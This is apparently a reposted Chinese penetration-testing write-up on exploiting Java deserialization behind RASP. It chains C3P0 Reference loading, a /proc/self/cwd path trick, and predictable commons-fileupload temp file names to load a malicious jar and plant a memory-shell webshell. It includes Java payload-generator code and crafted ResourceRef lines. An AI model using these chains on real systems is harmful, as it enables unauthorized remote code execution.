文章总结: 本文记录了在RASP拦截且目标不出网环境下的Java反序列化实战利用。面对CommonsBeanutils链被阻断的情况,作者利用C3P0链配合本地类加载机制,但因版本差异导致直接利用失败。最终通过组合CommonsFileupload链,利用其临时文件名可预测的特性,将恶意Jar包上传至服务器本地,再由C3P0的URLClassLoader机制加载执行,成功绕过RASP限制并注入内存马,实现了极端环境下的RCE。 综合评分: 93 文章分类: 实战经验,渗透测试,漏洞分析,WEB安全
戴着镣铐跳舞-记一次java反序列化极端利用
flowerwind
长个新的脑袋
2025年11月5日 10:24 江苏
前言
在某次实战中遇到了java原生反序列化入口点,由于这套系统之前知道有CB链,准备用CB2一把梭哈时,遇到了RASP拦截,于是便有了这次戴着镣铐跳舞的故事。
判断检测原理
当使用CB链攻击时,目标报错
使用反序列化炸弹(FindClassByBomb)时,正常反序列化成功,产生超长延时。说明目标RASP的拦截逻辑并非是阻拦反序列化,而是阻拦其所认为“恶意类”的反序列化。那么此处就存在绕过空间。
寻找可用链-Tomcat Reference初试
同事在测试常用链后给出了情报,C3P0链可用,但坏消息是目标不出网,因此无法直接通过出网RCE。
C3P0反序列化链有两种玩法,第一种玩法:出网拉URLClassLoader,实例化远程恶意类去RCE。第二种玩法:通过本地可用的Reference去RCE。首先我们想到了Tomcat的org.apache.naming.factory.BeanFactory类,通过org.apache.naming.factory.BeanFactory调用EL表达式执行代码,这是在jndi注入时如果目标存在Tomcat8+并且jdk高版本时的一种绕过方式,不了解的可以见:https://paper.seebug.org/942/#classreference-factory。
此时构造了第一个反序列化生成脚本
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import org.apache.naming.ResourceRef;
import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.Referenceable;import javax.naming.StringRefAddr;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.*;import java.lang.reflect.Field;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;
public class C3P0_H { public static class C3P0 implements ConnectionPoolDataSource, Referenceable {
@Override public Reference getReference() throws NamingException { ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", null); resourceRef.add(new StringRefAddr("forceString", "faster=eval")); resourceRef.add(new StringRefAddr("faster", "java.lang.Thread.sleep(5000)")); return resourceRef; }
@Override public PooledConnection getPooledConnection() throws SQLException { return null; }
@Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
@Override public PrintWriter getLogWriter() throws SQLException { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override public void setLoginTimeout(int seconds) throws SQLException {
}
@Override public int getLoginTimeout() throws SQLException { return 0; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
public static void unserialize(byte[] bytes) throws Exception{ try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes); ObjectInputStream oin = new ObjectInputStream(bain)){ oin.readObject(); } }
public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{ PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); connectionPoolDataSourceField.setAccessible(true); connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);
try(ByteArrayOutputStream baout = new ByteArrayOutputStream(); ObjectOutputStream oout = new ObjectOutputStream(baout)){ oout.writeObject(poolBackedDataSourceBase); return baout.toByteArray(); }
}
public static void main(String[] args) throws Exception{ C3P0_Local.C3P0 exp = new C3P0(); byte[] bytes = serialize(exp); }}
这时候我们遇到了第一个问题,发送exp后报错如下:
首先我们怀疑这不是Tomcat系统,但仔细看了下堆栈,这无疑就是Tomcat
于是我通过FindClassByBomb链探测了org.apache.naming.factory.BeanFactory类,发现该类存在。矛盾的结论迫使我去翻看C3P0的代码
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject
com.mchange.v2.naming.ReferenceableUtils#referenceToObject
从这里看没什么毛病,ClassLoader是Thread.currentThread获取的,肯定能获取到中间件中的类。于是我怀疑目标的C3P0的代码是不是不和我们一样,于是我找了一个老版本的C3P0的Jar包,发现其com.mchange.v2.naming.ReferenceableUtils#referenceToObject代码如下
显然老版本用的是系统类加载器,这个加载器是获取不到中间件的类的,所以我们目标应当是这种情况。不过路也不是完全不通,从上面代码看,如果fClassLocation如果不是空,那么会通过一个URLClassLoader去加载类。此时我才开始认真的研究序列化生成的脚本
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
首先映射一下序列化内容和referenceToObject方法参数的对应关系:
org.apache.naming.factory.BeanFactory –>fClassName
ResourceRef对象最后一个参数null –> fClassLocation
所以这个URLClassLoader的索引路径我们是可以在序列化过程中指定的,org.apache.naming.factory.BeanFactory类是在catalina.jar中,在黑盒情况下如何索引到目标catalina.jar的位置?
CTF,启动!!!
在linux中,Tomcat的JVM环境下:
/proc/self/cwd --> /xxx/xxx/xxx/apache-tomcat-xxx/webapps
因此通过下面的序列化代码可以索引到catalina.jar
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", file:///../../../../../../../../../../../../proc/self/cwd/../lib/catalina.jar);
此时出现了新的报错,但好像消息是org.apache.naming.factory.BeanFactory已经被索引到了。而我们研究了报错的这段代码后发现,这个报错应当是不影响javax.el.ELProcessor被触发的。
于是再次确认后发现,目标没有javax.el.ELProcessor这个类,也就说明目标很可能是Tomcat7及以下
随后我想到了浅蓝师傅曾经发过一篇文章:https://tttang.com/archive/1405/#toc_nativelibloader,给出了替换javax.el.ELProcessor的一些方式。但实测后发现,例如:Xstream/Groovy等目标环境都没有。到此刻为止路又断了。
FileUpload链+组合拳
在我不断测试后发现,FileUpload1链没有引发目标的RASP拦截,但我也不确定到底有没有利用成功,因此我随便发了个包测试了下
收到报错,说明确实成功了,但文件名看起来无法预测
此时我想到了前段时间网上很火的mysql connect不出网利用,他也用到了commons-fileuploads,根据其理论,每次上传后文件名只会变动UniqueId部分,而这部分是自增的,该理论我搭建环境复线后发现确实如此。因此我只要FileUpload链写一次不存在目录触发报错,获得upload_b85a4be8_6ea8_4917_939e_f1de9bddd780_00000097.tmp
然后我在用FileUpload链写文件,那么此时这个临时文件的名字就为upload_b85a4be8_6ea8_4917_939e_f1de9bddd780_00000098.tmp
截止目前为止,获取到的所有信息如下:
1、C3P0链可以反序列化本地Reference
2、FileUpload链可以用,该链写文件时会在/tmp下生成一个临时文件,此文件名和后缀均不可控,但能通过技巧预测到文件名。
而同时我们上文提到,C3P0在反序列化过程中使用了URLClassLoader加载类并实例化,这个路径和类名是可控的,于是我设计了一种方案:
1、本地生成一个恶意的jar包,代码如下
2、通过FileUpload写入上面这个jar,此时/tmp/目录下会生成一个tmp文件
3、写不存在目录触发报错获得upload_b85a4be8_6ea8_4917_939e_f1de9bddd780_00000097.tmp
4、重复步骤2,此时这个jar在目标上会生成,同时其绝对路径为/tmp/upload_b85a4be8_6ea8_4917_939e_f1de9bddd780_00000098.tmp
5、修改序列化脚本如下,然后再发一次C3P0的反序列化包
ResourceRef resourceRef = new ResourceRef(“javax.el.ELProcessor”, (String)null, “”, “”, true, “com.test”, file:///tmp/upload_b85a4be8_6ea8_4917_939e_f1de9bddd780_00000098.tmp);
调用到newInstance,触发我们的恶意代码,最终完成RCE~
从回包来看,延时5秒,后面把恶意jar中的代码换成内存马注入代码即获取到webshell
后话
后面拿到shell后验证发现,其实FileUpload链在目标利用是有问题的,因为正常的FileUpload链是可以指定目录和文件名写的,而目标却无法写入,只是commons-fileupload这个包恰好会生成临时文件,然后这个点被我们抓到了而已。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:长个新的脑袋 flowerwind《戴着镣铐跳舞-记一次java反序列化极端利用》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论